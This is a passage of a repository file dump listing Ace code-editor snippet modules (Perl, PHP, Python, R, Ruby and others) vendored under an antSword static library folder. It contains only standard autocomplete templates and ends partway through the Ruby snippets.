    "content": "ace.define(\"ace/snippets/mask\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mask\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/matlab.js",
    "content": "ace.define(\"ace/snippets/matlab\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"matlab\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/maze.js",
    "content": "ace.define(\"ace/snippets/maze\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet >\\ndescription assignment\\nscope maze\\n\t-> ${1}= ${2}\\n\\nsnippet >\\ndescription if\\nscope maze\\n\t-> IF ${2:**} THEN %${3:L} ELSE %${4:R}\\n\",t.scope=\"maze\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/mel.js",
    "content": "ace.define(\"ace/snippets/mel\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mel\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/mips_assembler.js",
    "content": "ace.define(\"ace/snippets/mips_assembler\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mips_assembler\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/mipsassembler.js",
    "content": "ace.define(\"ace/snippets/mipsassembler\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/mushcode.js",
    "content": "ace.define(\"ace/snippets/mushcode\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mushcode\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/mysql.js",
    "content": "ace.define(\"ace/snippets/mysql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mysql\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/nix.js",
    "content": "ace.define(\"ace/snippets/nix\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"nix\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/objectivec.js",
    "content": "ace.define(\"ace/snippets/objectivec\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"objectivec\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/ocaml.js",
    "content": "ace.define(\"ace/snippets/ocaml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ocaml\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/pascal.js",
    "content": "ace.define(\"ace/snippets/pascal\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"pascal\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/perl.js",
    "content": "ace.define(\"ace/snippets/perl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# #!/usr/bin/perl\\nsnippet #!\\n\t#!/usr/bin/env perl\\n\\n# Hash Pointer\\nsnippet .\\n\t =>\\n# Function\\nsnippet sub\\n\tsub ${1:function_name} {\\n\t\t${2:#body ...}\\n\t}\\n# Conditional\\nsnippet if\\n\tif (${1}) {\\n\t\t${2:# body...}\\n\t}\\n# Conditional if..else\\nsnippet ife\\n\tif (${1}) {\\n\t\t${2:# body...}\\n\t}\\n\telse {\\n\t\t${3:# else...}\\n\t}\\n# Conditional if..elsif..else\\nsnippet ifee\\n\tif (${1}) {\\n\t\t${2:# body...}\\n\t}\\n\telsif (${3}) {\\n\t\t${4:# elsif...}\\n\t}\\n\telse {\\n\t\t${5:# else...}\\n\t}\\n# Conditional One-line\\nsnippet xif\\n\t${1:expression} if ${2:condition};${3}\\n# Unless conditional\\nsnippet unless\\n\tunless (${1}) {\\n\t\t${2:# body...}\\n\t}\\n# Unless conditional One-line\\nsnippet xunless\\n\t${1:expression} unless ${2:condition};${3}\\n# Try/Except\\nsnippet eval\\n\tlocal $@;\\n\teval {\\n\t\t${1:# do something risky...}\\n\t};\\n\tif (my $e = $@) {\\n\t\t${2:# handle failure...}\\n\t}\\n# While Loop\\nsnippet wh\\n\twhile (${1}) {\\n\t\t${2:# body...}\\n\t}\\n# While Loop One-line\\nsnippet xwh\\n\t${1:expression} while ${2:condition};${3}\\n# C-style For Loop\\nsnippet cfor\\n\tfor (my $${2:var} = 0; $$2 < ${1:count}; $$2${3:++}) {\\n\t\t${4:# body...}\\n\t}\\n# For loop one-line\\nsnippet xfor\\n\t${1:expression} for @${2:array};${3}\\n# Foreach Loop\\nsnippet for\\n\tforeach my $${1:x} (@${2:array}) {\\n\t\t${3:# body...}\\n\t}\\n# Foreach Loop One-line\\nsnippet fore\\n\t${1:expression} foreach @${2:array};${3}\\n# Package\\nsnippet package\\n\tpackage ${1:`substitute(Filename('', 'Page Title'), '^.', '\\\\u&', '')`};\\n\\n\t${2}\\n\\n\t1;\\n\\n\t__END__\\n# Package syntax perl >= 5.14\\nsnippet packagev514\\n\tpackage ${1:`substitute(Filename('', 'Page Title'), '^.', '\\\\u&', '')`} ${2:0.99};\\n\\n\t${3}\\n\\n\t1;\\n\\n\t__END__\\n#moose\\nsnippet moose\\n\tuse Moose;\\n\tuse namespace::autoclean;\\n\t${1:#}BEGIN {extends '${2:ParentClass}'};\\n\\n\t${3}\\n# parent\\nsnippet parent\\n\tuse parent qw(${1:Parent Class});\\n# Read File\\nsnippet slurp\\n\tmy $${1:var} = do { local $/; open my $file, '<', \\\"${2:file}\\\"; <$file> };\\n\t${3}\\n# strict warnings\\nsnippet strwar\\n\tuse strict;\\n\tuse warnings;\\n# older versioning with perlcritic bypass\\nsnippet vers\\n\t## no critic\\n\tour $VERSION = '${1:version}';\\n\teval $VERSION;\\n\t## use critic\\n# new 'switch' like feature\\nsnippet switch\\n\tuse feature 'switch';\\n\\n# Anonymous subroutine\\nsnippet asub\\n\tsub {\\n\t \t${1:# body }\\n\t}\\n\\n\\n\\n# Begin block\\nsnippet begin\\n\tBEGIN {\\n\t\t${1:# begin body}\\n\t}\\n\\n# call package function with some parameter\\nsnippet pkgmv\\n\t__PACKAGE__->${1:package_method}(${2:var})\\n\\n# call package function without a parameter\\nsnippet pkgm\\n\t__PACKAGE__->${1:package_method}()\\n\\n# call package \\\"get_\\\" function without a parameter\\nsnippet pkget\\n\t__PACKAGE__->get_${1:package_method}()\\n\\n# call package function with a parameter\\nsnippet pkgetv\\n\t__PACKAGE__->get_${1:package_method}(${2:var})\\n\\n# complex regex\\nsnippet qrx\\n\tqr/\\n\t     ${1:regex}\\n\t/xms\\n\\n#simpler regex\\nsnippet qr/\\n\tqr/${1:regex}/x\\n\\n#given\\nsnippet given\\n\tgiven ($${1:var}) {\\n\t\t${2:# cases}\\n\t\t${3:# default}\\n\t}\\n\\n# switch-like case\\nsnippet when\\n\twhen (${1:case}) {\\n\t\t${2:# body}\\n\t}\\n\\n# hash slice\\nsnippet hslice\\n\t@{ ${1:hash}  }{ ${2:array} }\\n\\n\\n# map\\nsnippet map\\n\tmap {  ${2: body }    }  ${1: @array } ;\\n\\n\\n\\n# Pod stub\\nsnippet ppod\\n\t=head1 NAME\\n\\n\t${1:ClassName} - ${2:ShortDesc}\\n\\n\t=head1 SYNOPSIS\\n\\n\t  use $1;\\n\\n\t  ${3:# synopsis...}\\n\\n\t=head1 DESCRIPTION\\n\\n\t${4:# longer description...}\\n\\n\\n\t=head1 INTERFACE\\n\\n\\n\t=head1 DEPENDENCIES\\n\\n\\n\t=head1 SEE ALSO\\n\\n\\n# Heading for a subroutine stub\\nsnippet psub\\n\t=head2 ${1:MethodName}\\n\\n\t${2:Summary....}\\n\\n# Heading for inline subroutine pod\\nsnippet psubi\\n\t=head2 ${1:MethodName}\\n\\n\t${2:Summary...}\\n\\n\\n\t=cut\\n# inline documented subroutine\\nsnippet subpod\\n\t=head2 $1\\n\\n\tSummary of $1\\n\\n\t=cut\\n\\n\tsub ${1:subroutine_name} {\\n\t\t${2:# body...}\\n\t}\\n# Subroutine signature\\nsnippet parg\\n\t=over 2\\n\\n\t=item\\n\tArguments\\n\\n\\n\t=over 3\\n\\n\t=item\\n\tC<${1:DataStructure}>\\n\\n\t  ${2:Sample}\\n\\n\\n\t=back\\n\\n\\n\t=item\\n\tReturn\\n\\n\t=over 3\\n\\n\\n\t=item\\n\tC<${3:...return data}>\\n\\n\\n\t=back\\n\\n\\n\t=back\\n\\n\\n\\n# Moose has\\nsnippet has\\n\thas ${1:attribute} => (\\n\t\tis\t    => '${2:ro|rw}',\\n\t\tisa \t=> '${3:Str|Int|HashRef|ArrayRef|etc}',\\n\t\tdefault => sub {\\n\t\t\t${4:defaultvalue}\\n\t\t},\\n\t\t${5:# other attributes}\\n\t);\\n\\n\\n# override\\nsnippet override\\n\toverride ${1:attribute} => sub {\\n\t\t${2:# my $self = shift;};\\n\t\t${3:# my ($self, $args) = @_;};\\n\t};\\n\\n\\n# use test classes\\nsnippet tuse\\n\tuse Test::More;\\n\tuse Test::Deep; # (); # uncomment to stop prototype errors\\n\tuse Test::Exception;\\n\\n# local test lib\\nsnippet tlib\\n\tuse lib qw{ ./t/lib };\\n\\n#test methods\\nsnippet tmeths\\n\t$ENV{TEST_METHOD} = '${1:regex}';\\n\\n# runtestclass\\nsnippet trunner\\n\tuse ${1:test_class};\\n\t$1->runtests();\\n\\n# Test::Class-style test\\nsnippet tsub\\n\tsub t${1:number}_${2:test_case} :Test(${3:num_of_tests}) {\\n\t\tmy $self = shift;\\n\t\t${4:#  body}\\n\\n\t}\\n\\n# Test::Routine-style test\\nsnippet trsub\\n\ttest ${1:test_name} => { description => '${2:Description of test.}'} => sub {\\n\t\tmy ($self) = @_;\\n\t\t${3:# test code}\\n\t};\\n\\n#prep test method\\nsnippet tprep\\n\tsub prep${1:number}_${2:test_case} :Test(startup) {\\n\t\tmy $self = shift;\\n\t\t${4:#  body}\\n\t}\\n\\n# cause failures to print stack trace\\nsnippet debug_trace\\n\tuse Carp; # 'verbose';\\n\t# cloak \\\"die\\\"\\n\t# warn \\\"warning\\\"\\n\t$SIG{'__DIE__'} = sub {\\n\t\trequire Carp; Carp::confess\\n\t};\\n\\n\",t.scope=\"perl\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/pgsql.js",
    "content": "ace.define(\"ace/snippets/pgsql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"pgsql\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/php.js",
    "content": "ace.define(\"ace/snippets/php\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet <?\\n\t<?php\\n\\n\t${1}\\nsnippet ec\\n\techo ${1};\\nsnippet <?e\\n\t<?php echo ${1} ?>\\n# this one is for php5.4\\nsnippet <?=\\n\t<?=${1}?>\\nsnippet ns\\n\tnamespace ${1:Foo\\\\Bar\\\\Baz};\\n\t${2}\\nsnippet use\\n\tuse ${1:Foo\\\\Bar\\\\Baz};\\n\t${2}\\nsnippet c\\n\t${1:abstract }class ${2:$FILENAME}\\n\t{\\n\t\t${3}\\n\t}\\nsnippet i\\n\tinterface ${1:$FILENAME}\\n\t{\\n\t\t${2}\\n\t}\\nsnippet t.\\n\t$this->${1}\\nsnippet f\\n\tfunction ${1:foo}(${2:array }${3:$bar})\\n\t{\\n\t\t${4}\\n\t}\\n# method\\nsnippet m\\n\t${1:abstract }${2:protected}${3: static} function ${4:foo}(${5:array }${6:$bar})\\n\t{\\n\t\t${7}\\n\t}\\n# setter method\\nsnippet sm \\n\t${5:public} function set${6:$2}(${7:$2 }$$1)\\n\t{\\n\t\t$this->${8:$1} = $$1;\\n\t\treturn $this;\\n\t}${9}\\n# getter method\\nsnippet gm\\n\t${3:public} function get${4:$2}()\\n\t{\\n\t\treturn $this->${5:$1};\\n\t}${6}\\n#setter\\nsnippet $s\\n\t${1:$foo}->set${2:Bar}(${3});\\n#getter\\nsnippet $g\\n\t${1:$foo}->get${2:Bar}();\\n\\n# Tertiary conditional\\nsnippet =?:\\n\t$${1:foo} = ${2:true} ? ${3:a} : ${4};\\nsnippet ?:\\n\t${1:true} ? ${2:a} : ${3}\\n\\nsnippet C\\n\t$_COOKIE['${1:variable}']${2}\\nsnippet E\\n\t$_ENV['${1:variable}']${2}\\nsnippet F\\n\t$_FILES['${1:variable}']${2}\\nsnippet G\\n\t$_GET['${1:variable}']${2}\\nsnippet P\\n\t$_POST['${1:variable}']${2}\\nsnippet R\\n\t$_REQUEST['${1:variable}']${2}\\nsnippet S\\n\t$_SERVER['${1:variable}']${2}\\nsnippet SS\\n\t$_SESSION['${1:variable}']${2}\\n\t\\n# the following are old ones\\nsnippet inc\\n\tinclude '${1:file}';${2}\\nsnippet inc1\\n\tinclude_once '${1:file}';${2}\\nsnippet req\\n\trequire '${1:file}';${2}\\nsnippet req1\\n\trequire_once '${1:file}';${2}\\n# Start Docblock\\nsnippet /*\\n# Class - post doc\\nsnippet doc_cp${5}\\n# Class Variable - post doc\\nsnippet doc_vp${3}\\n# Class Variable\\nsnippet doc_v\\n\t${1:var} $${2};${5}\\n# Class\\nsnippet doc_c\\n\t${1:}class ${2:}\\n\t{\\n\t\t${7}\\n\t} // END $1class $2\\n# Constant Definition - post doc\\nsnippet doc_dp${2}\\n# Constant Definition\\nsnippet doc_d\\n\tace.define(${1}, ${2});${4}\\n# Function - post doc\\nsnippet doc_fp${4}\\n# Function signature\\nsnippet doc_s\\n\t${1}function ${2}(${3});${7}\\n# Function\\nsnippet doc_f\\n\t${1}function ${2}(${3})\\n\t{${7}\\n\t}\\n# Header\\nsnippet doc_h\\n\t\\n# Interface\\nsnippet interface\\n\tinterface ${1:$FILENAME}\\n\t{\\n\t\t${5}\\n\t}\\n# class ...\\nsnippet class\\n\tclass ${2:$FILENAME}\\n\t{\\n\t\t${3}\\n\t\t${5:public} function ${6:__construct}(${7:argument})\\n\t\t{\\n\t\t\t${8:// code...}\\n\t\t}\\n\t}\\n# ace.define(...)\\nsnippet def\\n\tace.define('${1}'${2});${3}\\n# defined(...)\\nsnippet def?\\n\t${1}defined('${2}')${3}\\nsnippet wh\\n\twhile (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t}\\n# do ... while\\nsnippet do\\n\tdo {\\n\t\t${2:// code... }\\n\t} while (${1:/* condition */});\\nsnippet if\\n\tif (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t}\\nsnippet ifil\\n\t<?php if (${1:/* condition */}): ?>\\n\t\t${2:<!-- code... -->}\\n\t<?php endif; ?>\\nsnippet ife\\n\tif (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t} else {\\n\t\t${3:// code...}\\n\t}\\n\t${4}\\nsnippet ifeil\\n\t<?php if (${1:/* condition */}): ?>\\n\t\t${2:<!-- html... -->}\\n\t<?php else: ?>\\n\t\t${3:<!-- html... -->}\\n\t<?php endif; ?>\\n\t${4}\\nsnippet else\\n\telse {\\n\t\t${1:// code...}\\n\t}\\nsnippet elseif\\n\telseif (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t}\\nsnippet switch\\n\tswitch ($${1:variable}) {\\n\t\tcase '${2:value}':\\n\t\t\t${3:// code...}\\n\t\t\tbreak;\\n\t\t${5}\\n\t\tdefault:\\n\t\t\t${4:// code...}\\n\t\t\tbreak;\\n\t}\\nsnippet case\\n\tcase '${1:value}':\\n\t\t${2:// code...}\\n\t\tbreak;${3}\\nsnippet for\\n\tfor ($${2:i} = 0; $$2 < ${1:count}; $$2${3:++}) {\\n\t\t${4: // code...}\\n\t}\\nsnippet foreach\\n\tforeach ($${1:variable} as $${2:value}) {\\n\t\t${3:// code...}\\n\t}\\nsnippet foreachil\\n\t<?php foreach ($${1:variable} as $${2:value}): ?>\\n\t\t${3:<!-- html... -->}\\n\t<?php endforeach; ?>\\nsnippet foreachk\\n\tforeach ($${1:variable} as $${2:key} => $${3:value}) {\\n\t\t${4:// code...}\\n\t}\\nsnippet foreachkil\\n\t<?php foreach ($${1:variable} as $${2:key} => $${3:value}): ?>\\n\t\t${4:<!-- html... -->}\\n\t<?php endforeach; ?>\\n# $... = array (...)\\nsnippet array\\n\t$${1:arrayName} = array('${2}' => ${3});${4}\\nsnippet try\\n\ttry {\\n\t\t${2}\\n\t} catch (${1:Exception} $e) {\\n\t}\\n# lambda with closure\\nsnippet lambda\\n\t${1:static }function (${2:args}) use (${3:&$x, $y /*put vars in scope (closure) */}) {\\n\t\t${4}\\n\t};\\n# pre_dump();\\nsnippet pd\\n\techo '<pre>'; var_dump(${1}); echo '</pre>';\\n# pre_dump(); die();\\nsnippet pdd\\n\techo '<pre>'; var_dump(${1}); echo '</pre>'; die(${2:});\\nsnippet vd\\n\tvar_dump(${1});\\nsnippet vdd\\n\tvar_dump(${1}); die(${2:});\\nsnippet http_redirect\\n\theader (\\\"HTTP/1.1 301 Moved Permanently\\\"); \\n\theader (\\\"Location: \\\".URL); \\n\texit();\\n# Getters & Setters\\nsnippet gs\\n\tpublic function get${3:$2}()\\n\t{\\n\t\treturn $this->${4:$1};\\n\t}\\n\tpublic function set$3(${7:$2 }$$1)\\n\t{\\n\t\t$this->$4 = $$1;\\n\t\treturn $this;\\n\t}${8}\\n# anotation, get, and set, useful for doctrine\\nsnippet ags\\n\t${2:protected} $${3:foo};\\n\\n\tpublic function get${4:$3}()\\n\t{\\n\t\treturn $this->$3;\\n\t}\\n\\n\tpublic function set$4(${5:$4 }$${6:$3})\\n\t{\\n\t\t$this->$3 = $$6;\\n\t\treturn $this;\\n\t}\\nsnippet rett\\n\treturn true;\\nsnippet retf\\n\treturn false;\\n\",t.scope=\"php\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/plain_text.js",
    "content": "ace.define(\"ace/snippets/plain_text\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"plain_text\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/powershell.js",
    "content": "ace.define(\"ace/snippets/powershell\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"powershell\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/praat.js",
    "content": "ace.define(\"ace/snippets/praat\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"praat\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/prolog.js",
    "content": "ace.define(\"ace/snippets/prolog\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"prolog\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/properties.js",
    "content": "ace.define(\"ace/snippets/properties\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"properties\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/protobuf.js",
    "content": "ace.define(\"ace/snippets/protobuf\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"\",t.scope=\"protobuf\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/python.js",
    "content": "ace.define(\"ace/snippets/python\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet #!\\n\t#!/usr/bin/env python\\nsnippet imp\\n\timport ${1:module}\\nsnippet from\\n\tfrom ${1:package} import ${2:module}\\n# Module Docstring\\nsnippet docs\\n\t\\'\\'\\'\\n\tFile: ${1:FILENAME:file_name}\\n\tAuthor: ${2:author}\\n\tDescription: ${3}\\n\t\\'\\'\\'\\nsnippet wh\\n\twhile ${1:condition}:\\n\t\t${2:# TODO: write code...}\\n# dowh - does the same as do...while in other languages\\nsnippet dowh\\n\twhile True:\\n\t\t${1:# TODO: write code...}\\n\t\tif ${2:condition}:\\n\t\t\tbreak\\nsnippet with\\n\twith ${1:expr} as ${2:var}:\\n\t\t${3:# TODO: write code...}\\n# New Class\\nsnippet cl\\n\tclass ${1:ClassName}(${2:object}):\\n\t\t\"\"\"${3:docstring for $1}\"\"\"\\n\t\tdef __init__(self, ${4:arg}):\\n\t\t\t${5:super($1, self).__init__()}\\n\t\t\tself.$4 = $4\\n\t\t\t${6}\\n# New Function\\nsnippet def\\n\tdef ${1:fname}(${2:`indent(\\'.\\') ? \\'self\\' : \\'\\'`}):\\n\t\t\"\"\"${3:docstring for $1}\"\"\"\\n\t\t${4:# TODO: write code...}\\nsnippet deff\\n\tdef ${1:fname}(${2:`indent(\\'.\\') ? \\'self\\' : \\'\\'`}):\\n\t\t${3:# TODO: write code...}\\n# New Method\\nsnippet defs\\n\tdef ${1:mname}(self, ${2:arg}):\\n\t\t${3:# TODO: write code...}\\n# New Property\\nsnippet property\\n\tdef ${1:foo}():\\n\t\tdoc = \"${2:The $1 property.}\"\\n\t\tdef fget(self):\\n\t\t\t${3:return self._$1}\\n\t\tdef fset(self, value):\\n\t\t\t${4:self._$1 = value}\\n# Ifs\\nsnippet if\\n\tif ${1:condition}:\\n\t\t${2:# TODO: write code...}\\nsnippet el\\n\telse:\\n\t\t${1:# TODO: write code...}\\nsnippet ei\\n\telif ${1:condition}:\\n\t\t${2:# TODO: write code...}\\n# For\\nsnippet for\\n\tfor ${1:item} in ${2:items}:\\n\t\t${3:# TODO: write code...}\\n# Encodes\\nsnippet cutf8\\n\t# -*- coding: utf-8 -*-\\nsnippet clatin1\\n\t# -*- coding: latin-1 -*-\\nsnippet cascii\\n\t# -*- coding: ascii -*-\\n# Lambda\\nsnippet ld\\n\t${1:var} = lambda ${2:vars} : ${3:action}\\nsnippet .\\n\tself.\\nsnippet try Try/Except\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\nsnippet try Try/Except/Else\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\n\telse:\\n\t\t${5:# TODO: write code...}\\nsnippet try Try/Except/Finally\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\n\tfinally:\\n\t\t${5:# TODO: write code...}\\nsnippet try Try/Except/Else/Finally\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\n\telse:\\n\t\t${5:# TODO: write code...}\\n\tfinally:\\n\t\t${6:# TODO: write code...}\\n# if __name__ == \\'__main__\\':\\nsnippet ifmain\\n\tif __name__ == \\'__main__\\':\\n\t\t${1:main()}\\n# __magic__\\nsnippet _\\n\t__${1:init}__${2}\\n# python debugger (pdb)\\nsnippet pdb\\n\timport pdb; pdb.set_trace()\\n# ipython debugger (ipdb)\\nsnippet ipdb\\n\timport ipdb; ipdb.set_trace()\\n# ipython debugger (pdbbb)\\nsnippet pdbbb\\n\timport pdbpp; pdbpp.set_trace()\\nsnippet pprint\\n\timport pprint; pprint.pprint(${1})${2}\\nsnippet \"\\n\t\"\"\"\\n\t${1:doc}\\n\t\"\"\"\\n# test function/method\\nsnippet test\\n\tdef test_${1:description}(${2:self}):\\n\t\t${3:# TODO: write code...}\\n# test case\\nsnippet testcase\\n\tclass ${1:ExampleCase}(unittest.TestCase):\\n\t\t\\n\t\tdef test_${2:description}(self):\\n\t\t\t${3:# TODO: write code...}\\nsnippet fut\\n\tfrom __future__ import ${1}\\n#getopt\\nsnippet getopt\\n\ttry:\\n\t\t# Short option syntax: \"hv:\"\\n\t\t# Long option syntax: \"help\" or \"verbose=\"\\n\t\topts, args = getopt.getopt(sys.argv[1:], \"${1:short_options}\", [${2:long_options}])\\n\t\\n\texcept getopt.GetoptError, err:\\n\t\t# Print debug info\\n\t\tprint str(err)\\n\t\t${3:error_action}\\n\\n\tfor option, argument in opts:\\n\t\tif option in (\"-h\", \"--help\"):\\n\t\t\t${4}\\n\t\telif option in (\"-v\", \"--verbose\"):\\n\t\t\tverbose = argument\\n',t.scope=\"python\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/r.js",
    "content": "ace.define(\"ace/snippets/r\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet #!\\n\t#!/usr/bin/env Rscript\\n\\n# includes\\nsnippet lib\\n\tlibrary(${1:package})\\nsnippet req\\n\trequire(${1:package})\\nsnippet source\\n\tsource(\\'${1:file}\\')\\n\\n# conditionals\\nsnippet if\\n\tif (${1:condition}) {\\n\t\t${2:code}\\n\t}\\nsnippet el\\n\telse {\\n\t\t${1:code}\\n\t}\\nsnippet ei\\n\telse if (${1:condition}) {\\n\t\t${2:code}\\n\t}\\n\\n# functions\\nsnippet fun\\n\t${1:name} = function (${2:variables}) {\\n\t\t${3:code}\\n\t}\\nsnippet ret\\n\treturn(${1:code})\\n\\n# dataframes, lists, etc\\nsnippet df\\n\t${1:name}[${2:rows}, ${3:cols}]\\nsnippet c\\n\tc(${1:items})\\nsnippet li\\n\tlist(${1:items})\\nsnippet mat\\n\tmatrix(${1:data}, nrow=${2:rows}, ncol=${3:cols})\\n\\n# apply functions\\nsnippet apply\\n\tapply(${1:array}, ${2:margin}, ${3:function})\\nsnippet lapply\\n\tlapply(${1:list}, ${2:function})\\nsnippet sapply\\n\tsapply(${1:list}, ${2:function})\\nsnippet vapply\\n\tvapply(${1:list}, ${2:function}, ${3:type})\\nsnippet mapply\\n\tmapply(${1:function}, ${2:...})\\nsnippet tapply\\n\ttapply(${1:vector}, ${2:index}, ${3:function})\\nsnippet rapply\\n\trapply(${1:list}, ${2:function})\\n\\n# plyr functions\\nsnippet dd\\n\tddply(${1:frame}, ${2:variables}, ${3:function})\\nsnippet dl\\n\tdlply(${1:frame}, ${2:variables}, ${3:function})\\nsnippet da\\n\tdaply(${1:frame}, ${2:variables}, ${3:function})\\nsnippet d_\\n\td_ply(${1:frame}, ${2:variables}, ${3:function})\\n\\nsnippet ad\\n\tadply(${1:array}, ${2:margin}, ${3:function})\\nsnippet al\\n\talply(${1:array}, ${2:margin}, ${3:function})\\nsnippet aa\\n\taaply(${1:array}, ${2:margin}, ${3:function})\\nsnippet a_\\n\ta_ply(${1:array}, ${2:margin}, ${3:function})\\n\\nsnippet ld\\n\tldply(${1:list}, ${2:function})\\nsnippet ll\\n\tllply(${1:list}, ${2:function})\\nsnippet la\\n\tlaply(${1:list}, ${2:function})\\nsnippet l_\\n\tl_ply(${1:list}, ${2:function})\\n\\nsnippet md\\n\tmdply(${1:matrix}, ${2:function})\\nsnippet ml\\n\tmlply(${1:matrix}, ${2:function})\\nsnippet ma\\n\tmaply(${1:matrix}, ${2:function})\\nsnippet m_\\n\tm_ply(${1:matrix}, ${2:function})\\n\\n# plot functions\\nsnippet pl\\n\tplot(${1:x}, ${2:y})\\nsnippet ggp\\n\tggplot(${1:data}, aes(${2:aesthetics}))\\nsnippet img\\n\t${1:(jpeg,bmp,png,tiff)}(filename=\"${2:filename}\", width=${3}, height=${4}, unit=\"${5}\")\\n\t${6:plot}\\n\tdev.off()\\n\\n# statistical test functions\\nsnippet fis\\n\tfisher.test(${1:x}, ${2:y})\\nsnippet chi\\n\tchisq.test(${1:x}, ${2:y})\\nsnippet tt\\n\tt.test(${1:x}, ${2:y})\\nsnippet wil\\n\twilcox.test(${1:x}, ${2:y})\\nsnippet cor\\n\tcor.test(${1:x}, ${2:y})\\nsnippet fte\\n\tvar.test(${1:x}, ${2:y})\\nsnippet kvt \\n\tkv.test(${1:x}, ${2:y})\\n',t.scope=\"r\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/rdoc.js",
    "content": "ace.define(\"ace/snippets/rdoc\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"rdoc\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/rhtml.js",
    "content": "ace.define(\"ace/snippets/rhtml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"rhtml\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/ruby.js",
    "content": "ace.define(\"ace/snippets/ruby\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='########################################\\n# Ruby snippets - for Rails, see below #\\n########################################\\n\\n# encoding for Ruby 1.9\\nsnippet enc\\n\t# encoding: utf-8\\n\\n# #!/usr/bin/env ruby\\nsnippet #!\\n\t#!/usr/bin/env ruby\\n\t# encoding: utf-8\\n\\n# New Block\\nsnippet =b\\n\t=begin rdoc\\n\t\t${1}\\n\t=end\\nsnippet y\\n\t:yields: ${1:arguments}\\nsnippet rb\\n\t#!/usr/bin/env ruby -wKU\\nsnippet beg\\n\tbegin\\n\t\t${3}\\n\trescue ${1:Exception} => ${2:e}\\n\tend\\n\\nsnippet req require\\n\trequire \"${1}\"${2}\\nsnippet #\\n\t# =>\\nsnippet end\\n\t__END__\\nsnippet case\\n\tcase ${1:object}\\n\twhen ${2:condition}\\n\t\t${3}\\n\tend\\nsnippet when\\n\twhen ${1:condition}\\n\t\t${2}\\nsnippet def\\n\tdef ${1:method_name}\\n\t\t${2}\\n\tend\\nsnippet deft\\n\tdef test_${1:case_name}\\n\t\t${2}\\n\tend\\nsnippet if\\n\tif ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet ife\\n\tif ${1:condition}\\n\t\t${2}\\n\telse\\n\t\t${3}\\n\tend\\nsnippet elsif\\n\telsif 